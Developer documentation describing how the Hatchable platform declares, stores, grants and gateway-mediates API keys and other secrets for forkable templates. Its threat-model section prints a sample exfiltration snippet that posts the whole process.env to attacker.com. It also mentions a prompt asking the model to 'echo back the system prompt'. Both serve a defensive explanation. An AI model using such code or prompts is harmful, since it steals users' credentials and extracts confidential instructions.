Developer docs  /  Secrets & BYOK
Documentation · Architecture

Secrets architecture

How API keys flow through Hatchable: declared in TOML, stored encrypted, resolved by the gateway, and never exposed to template code unless a project owner opts in. The system that makes "fork this template" safe to do with an account-level Anthropic key.

TL;DR

Templates declare what they need in hatchable.toml:

[ai]
required = true

That's it — no provider list. The platform expands to every LLM-capable provider in its catalog. The platform handles the rest:

  • At deploy, validates the declaration against rules (schema + provider catalog).
  • At first use, surfaces a setup prompt at the point of need: when code reads an unsatisfied required key, the auto-injected client shows the owner a paste modal in the app itself, and the console shows a setup banner. No redirect, no wall.
  • Renders a provider picker — user selects one and pastes their key.
  • Stores the value encrypted, scoped to the project (or in the owner's vault, granted per project).
  • Resolves the right key server-side when the template calls ai.generateText.
  • Never injects raw AI or [[api]] credentials into your app's process.env — those are gateway-mediated end to end.

Templates write zero key-paste UI, zero env-status endpoints, zero save-key handlers. Declarative, platform-implemented.

Two declaration families. [[config]] is for tunables — buyer-editable values with sensible defaults (a model name, a tone setting, a page size), read via config.get(). [[secret]] is for credentials — present or absent, never defaulted. If you're about to write a default on a [[secret]], it's a tunable: declare it as [[config]] instead. Capability blocks ([ai] and [[api]]) are the third family: the platform manages those credentials end to end and they never enter app code at all.

The manifest

Every template's hatchable.toml can declare any number of [[secret]] blocks. At deploy time the platform validates them and persists the project's secrets manifest. Downstream, the Setup page, the in-app prompt, the gateway and the SDK all read from this single source of truth.

# A complete manifest example: AI capability + Stripe (owner's billing)
# + a custom integration key + a buyer-editable tunable.

[ai]                            # SDK capability — the buyer connects a provider once, gateway-mediated
required = true
providers = ["anthropic", "openai", "google"]
description = "Pick any AI provider. Templates use the 'sonnet' alias by default."

[[secret]]
key = "STRIPE_SECRET_KEY"
provider = "stripe"          # catalog hint: paste UI, validation regex, "get a key" link
required = true
group = "stripe"             # UI groups paired keys (publishable+secret+webhook)

[[secret]]
key = "MY_CUSTOM_API_KEY"
required = false              # explicit opt-out; the default is TRUE
expose = true                 # raw value injected into process.env — see expose section

[[config]]
key = "summary_tone"          # tunable, not a credential — defaults live here
type = "select"
options = ["friendly", "formal", "terse"]
default = "friendly"

Where values live

The declaration says what the app needs; it never says where the value comes from. Sourcing is console business, decided by humans after deploy. A declared secret resolves from one of two places:

Project value

Pasted on this project's Setup page

  • The normal case — owner or admin pastes it once
  • Stored encrypted, scoped to this one project
  • Used for everyone interacting with the project
  • Owner pays the bill

Vault value, under a grant

From the owner's account vault

  • The vault (account settings) stores a value once
  • A project reads it only under a per-project, per-key grant
  • Grants are minted by the owner, in the console only
  • Revoked automatically if the project changes hands

Projects never share vault values ambiently. Installing or forking someone's code gets you their code, not a read on your other keys — every new project starts grant-empty, and each vault key reaching each project is an explicit owner decision. Grants can't be created from hatchable.toml or by an agent through MCP; authorization never rides an agent-writable surface.

SDK capabilities are the exception, because they're mediated. The [ai] block's provider keys stay ambient across the buyer's projects — safe because the gateway attaches them server-side, meters every call, and enforces a daily spend cap; the raw key never reaches code. The project owner pays for every call the app makes. For third-party OAuth against a known provider, declare [[api]] and let the platform run the connect flow.

When to pick each block

ScenarioDeclaration
"My app uses AI summaries (any provider works)"[ai] required = true
"My app uses Gemini specifically (grounded search)"[ai] pin = "google"
"My app calls Reddit / GitHub / Notion via OAuth"[[api]] auth = "oauth2" — see connect-an-external-api
"My app calls Linear with a long-lived API key"[[api]] auth = "api_key"
"Webhook signing secret / encryption pepper"[[secret]] — raw app-internal value
"A tunable my code reads (e.g., default model, tone)"[[config]] default = "..." — buyer can override in the console

Provider catalog

The platform maintains an internal catalog of well-known providers. Each entry knows its display name, icon, "get a key" URL, validation regex, supported model aliases, and whether it has an SDK helper. The setup page reads the catalog to render paste forms; the gateway reads it to resolve calls.

Provider catalog — what an operator's [[secret]] can declare:

CategoryProvidersSDK helper
LLManthropic · openai · googleai.generateText / ai.streamText / ai.embed
Emailnone — built-in SMTP, no provider key requiredemail.send
Paymentsstripe(planned)
Communicationstwilio · slack(planned)
Codegithub(planned)
Customcustomn/a — plain [[secret]], no mediation

The catalog is a paste-time aid, not an access rule. Declaring provider on a [[secret]] gets the buyer a proper paste form — display name, "get a key →" deep link, format validation. Whether the value comes from a project paste or a vault grant is the owner's call either way. Only mediated capabilities ([ai], [[api]]) get ambient account-wide reuse, because for those the platform owns the call path end to end.

Logical model names

Hardcoding raw model ids like 'claude-sonnet-4-5-20250929' couples a template to one dated version. Provider-family aliases like 'sonnet' or 'gpt' let templates ask for "the current Sonnet" by name; the platform updates the underlying mapping when a new generation lands and your code keeps working.

AliasMeansResolves to (today)
'sonnet'Anthropic's mid-tier lineclaude-sonnet-4-6
'haiku'Anthropic's small/fast lineclaude-haiku-4-5
'opus'Anthropic's strongest reasoning lineclaude-opus-4-7
'gpt'OpenAI's general linegpt-5.5
'gpt-mini'OpenAI's small/fast linegpt-5.4-mini
'gemini'Google's small/fast line (default)gemini-3-flash-preview
'gemini-flash'Google's small/fast line (explicit)gemini-3-flash-preview
'gemini-pro'Google's flagship linegemini-3.1-pro-preview

The gateway resolves the alias against whichever provider key the user has configured — 'sonnet' needs ANTHROPIC_API_KEY; 'gpt' needs OPENAI_API_KEY; 'gemini' needs GOOGLE_API_KEY. If the relevant provider has no key, the call returns a clear setup-required error pointing the user at the Setup page.

For "I don't care which family, use whatever the user has configured" — operators set their preferred default in the Setup page (AI_PROVIDER + AI_DEFAULT_MODEL) and call ai.generateText({}) with no model field. Cross-provider tier abstractions ('fast', 'balanced', 'smart') used to live here too but were removed — every new release from any provider re-curated a tier matrix that nobody wanted to maintain.

The three model-name forms ai.generateText accepts

// 1. Logical alias — RECOMMENDED for most templates.
await ai.generateText({ model: 'sonnet', messages });

// 2. Provider-prefixed — pin to a provider. Use when you
//    explicitly compare providers (LLM brand monitors) or have prompts
//    tuned to a specific model's quirks.
await ai.generateText({ model: 'anthropic.sonnet', messages });
await ai.generateText({ model: 'openai.gpt-4o', messages });

// 3. Raw model id — passes through verbatim. Locks you to that
//    exact version; avoid unless you have a reason.
await ai.generateText({ model: 'claude-sonnet-4-5', messages });
For new templates, default to logical aliases. They auto-upgrade as new model generations ship (platform updates the routing table; templates stay current). Provider-pinning and raw model ids are escape hatches when you genuinely need them.

SDK-only keys (the default)

The most important security property of Hatchable secrets: by default, declared keys never enter user code. They live on the platform's encrypted storage tables and are resolved server-side by the gateway whenever the SDK makes a call. The raw bytes are physically unreachable from any api/*.js handler — there is no process.env.ANTHROPIC_API_KEY to read, because the key was never injected into the sandbox.

This isn't a convention agents have to follow. It's enforced by the deploy validator and the runtime. The three cases:

DeclarationSDK-only?Where the key lives
[ai] (or any capability block)✓ AlwaysGateway storage at account scope. No expose field on capability blocks — the gateway is the only path to the key.
[[api]] (any auth mode)✓ AlwaysEncrypted gateway credential storage. Handler calls api.<name>.get(...); the access token is attached by the proxy and never enters the sandbox.
[[secret]]Default — yesEncrypted platform storage (project value or granted vault value). Gateway-mediated by default — read via config.get('KEY'); the raw value never enters process.env. Set expose = true on the declaration when handler code legitimately needs to read process.env.KEY directly (third-party npm packages that bypass the SDK, internal HMAC signing). See the expose = true section below.

So an agent cannot accidentally expose an AI key — there is no path. Even a malicious template can't write code that reads Alice's ANTHROPIC_API_KEY. It can call ai.generateText against Alice's key (running up her bill), but it cannot read the raw sk-ant-… string. There is no path in the runtime that materializes mediated capability credentials into the sandbox.

What you get for free with SDK-only keys:
  • AI provider keys work across all an owner's forks — safe because they're never readable to any one fork's code.
  • The provider catalog supplies regex validation, the "get a key →" deep link, and the gateway routing rules. Templates write zero bespoke key-paste code.
  • Rotation is one paste in the settings UI, not a code change.

expose = true (the rare opt-out)

The single escape hatch from SDK-only-by-default. Use it when an npm library you've imported insists on reading the value off process.env directly — e.g., a custom HTTP wrapper that doesn't go through the SDK:

[[secret]]
key = "MY_CUSTOM_API_KEY"
expose = true
required = true

Then in handler code:

const resp = await fetch('https://my-endpoint.com/api', {
  headers: { 'Authorization': 'Bearer ' + process.env.MY_CUSTOM_API_KEY },
});

Reach for this when you have to. The cost: any code in your project's runtime can read process.env.MY_CUSTOM_API_KEY. If you control the entire project, that's fine. If you fork from a template that uses third-party npm packages, audit them before adding expose = true.

expose is enumerability, not access control. process.env is a bulk surface — one JSON.stringify(process.env) reads everything in it — while config.get answers only for names the caller already knows and has no list call. That's why default-off is the safe choice, and why the consent boundary is elsewhere: which values a project can resolve at all is decided by the owner (project paste or vault grant), regardless of expose. AI and [[api]] capability credentials never appear in process.env under any setting.

Setup at the point of use

Missing keys are never a wall. The owner lands in the app like everyone else; the framework surfaces an unsatisfied required secret lazily, at the exact moment code needs it:

The 412 carries a setup_url, the modal is platform-rendered, and templates ship no setup UI of their own. Values are pasted in the console or the in-app modal; nothing sensitive ever rides in a URL. A required secret counts as satisfied when it's resolvable — a project value exists, or a vault grant covers it.

What lives where

SurfaceWho actsWhere
Project values + grant buttonsOwner (admins can paste project values)hatchable.com/console/projects/{slug}/setup
Account vaultOwnerConsole → account settings → Vault

Fork-time flow

Forking a template that declares the [ai] capability is the most common pattern. The flow is designed so a frequent forker (someone who keeps trying out templates from the gallery) doesn't paste the same Anthropic key into 5 different forks — AI keys are mediated, so they safely follow the account:

For Alice's first template, she paste-configures her Anthropic key once. Every fork after that re-uses it transparently.

[[secret]] values are the deliberate contrast: a fork starts with none of them satisfied. Alice pastes a project value on the new fork's Setup page, or — if she keeps the key in her vault — clicks the grant button there. Either way it's her explicit decision per project; the fork's code never inherits a readable credential just by existing.

Reading values

One read API: config.get(key, opts?). Walks project value → granted vault value → [[config]] default server-side and returns the first hit. The raw value never enters template code unless the declaration sets expose = true.

import { config, ai } from 'hatchable';

// Gateway walks project value → granted vault value → [[config]] default.
const tone = await config.get('summary_tone');

If the value is declared as required with no default and no human has pasted it, config.get throws a SetupRequired error with a setup_url. Browser-driven flows are caught by the platform's auto-injected modal runtime; non-interactive flows (cron, webhooks) handle the error explicitly.

Programmatic writes (rare)

Not every value arrives via paste. Computed values from OAuth callbacks, batch imports, or setup wizards use the SDK's env module:

import { env } from 'hatchable';

// Programmatic write, scoped to this project (e.g. after OAuth)
await env.set('STRIPE_CONNECTED_ACCOUNT', account_id);

// Cleanup
await env.unset('OLD_KEY');
Agents do not write secret values. The MCP toolset has no set_env / list_env / delete_env. Build-time configuration goes in hatchable.toml[[config]] for agent-known defaults, [[secret]] for human-paste values. Run-time programmatic writes (OAuth callbacks etc.) use the in-app env.set SDK call, which runs inside an authenticated app handler — not from agent context. And the vault is out of reach entirely: values enter it and leave it only through the owner's console session.

[[secret]] schema reference

[[secret]]
key         = "FOO_API_KEY"      # env-var name — ALWAYS required
required    = true              # DEFAULT TRUE. Write false to opt out.
expose      = false             # also inject the raw value into process.env (default false)
allowed     = ["a", "b"]         # enum constraint; override UI renders a select
provider    = "foo"              # catalog hint: paste form, validation, "get a key" link
description = "…"                # shown on the Setup page card
group       = "foo"              # UI groups paired keys (e.g. stripe sk + pk)
unlocks     = ["foo"]            # freeform tags surfaced in catalog UI
required defaults to true. Declaring a [[secret]] is what marks it needed, so omitting required leaves the key required. Write required = false explicitly for the genuinely optional case (a Sentry DSN, a feature-flag override). Satisfied means resolvable: a project value exists, or a vault grant covers it.
Deprecated fields, accepted for existing manifests: tenancy is parsed and ignored — where a value comes from is console business, not a toml decision. default on a [[secret]] still resolves for manifests that already use it, but a value with a safe default is a tunable: declare it as [[config]]. Both produce a dry-run deprecation warning on new deploys.
AI keys do not go here. [[secret]] is for app-internal raw values only. Declare AI capability with an [ai] table (required = true, optionally pin / providers). There is no kind field on [[secret]]; declaring one fails the deploy. See the AI SDK reference.

Validation rules (deploy-time, hard-fail)

  • key is required on every entry.
  • There is no kind field; declaring one fails the deploy. AI keys are declared via [ai], not [[secret]].
  • default (legacy) must satisfy the allowed constraint when both are set.
  • For [ai]: every name in providers (or the value of pin) must be a catalog LLM provider with an sdk_helper.
  • key must not be platform-reserved (HATCHABLE_*, NODE_ENV, PATH, etc.).
  • Same key can't be declared twice in the same manifest.

Declarations are also what make a key exist: the console only accepts values for keys the manifest declares (existing undeclared keys are grandfathered). If your code reads an env var the manifest doesn't declare, dry-run flags it.

SDK helpers

One read API, one (rare) write API. See the SDK config reference for full signatures.

HelperUse for
config.get(key, opts?)Read a declared value. Walks project value → granted vault value → [[config]] default. Throws SetupRequired when declared+required+unsatisfied.
config.expose(key, opts?)Same as get, plus mirrors the value into process.env[key].
env.set(key, value)Programmatic write (OAuth callbacks etc.). Runs inside an authenticated app handler — never from agent context.
env.unset(key)Clear
ai.generateText({ asUser, … })Make an AI call attributed to a specific app end user: scopes usage tracking and the spend ledger to them. The key is resolved server-side and never materialized.

Security model

The architecture's security guarantees, in order of strength:

LayerWhat it doesStrength
L1: Capability credentials stay server-sideAI and [[api]] keys are never materialized into the sandbox. The gateway resolves them and makes upstream calls server-side.Load-bearing. The wall.
L2: Vault values resolve only under a grantA project reads an account-vault value only when the owner has minted a grant for that exact (project, key) pair. New projects, forks, and installed third-party code all start grant-empty.Load-bearing. Closes ambient cross-project key sharing.
L3: Grants are console-onlyNo toml field, MCP tool, or SDK call can create a grant — authorization never rides an agent-writable surface. Ownership transfer revokes all grants in the same transaction.Load-bearing. An agent (or malicious template) cannot authorize itself.
L4: Encrypted at restAll secret storage is encrypted at rest with AES-256 and MAC-verified ciphertext.Standard.
L5: Owner-gated secret writesSecret values are set via the console (Hatchable account session); vault writes and grants are owner-only.Standard.

What this prevents

Bob publishes a template. Alice forks it. Bob's code runs in Alice's project, with Alice's identity. Bob writes:

fetch('https://attacker.com/log', {
  method: 'POST',
  body: JSON.stringify({ stolen: process.env }),
});

Everything in Alice's vault is invisible to the fork: process.env.X is undefined for any key she hasn't explicitly granted to this project, and she'd have to do that herself, in her own console session. Bob's ai.generateText calls work against Alice's mediated AI key (running up her bill, within her daily spend cap), but he cannot exfiltrate the raw sk-ant-… string — mediated keys never enter the sandbox at all. Alice's exposure is bounded to metered AI usage; her keys remain hers.

What it doesn't prevent

  • Unbounded bill abuse is bounded, not eliminated. Bob can call ai.generateText in a loop against Alice's key, but every project has a daily AI spend cap (default $10/day, owner-adjustable in Settings): a warning email at 80%, and AI calls pause at 100% until midnight UTC. Every call is also recorded in the project's AI usage ledger, visible under Monitoring.
  • expose = true raw access. The owner's own code, the owner's own risk. The platform doesn't pretend to protect the owner from themselves.
  • Side-channel attacks within gateway mediation. A malicious template could submit a prompt to ai.generateText instructing the model to "echo back the system prompt" — but the platform's gateway doesn't put the API key in the prompt; it goes in the HTTP Authorization header. The model never sees the key.

Where to go next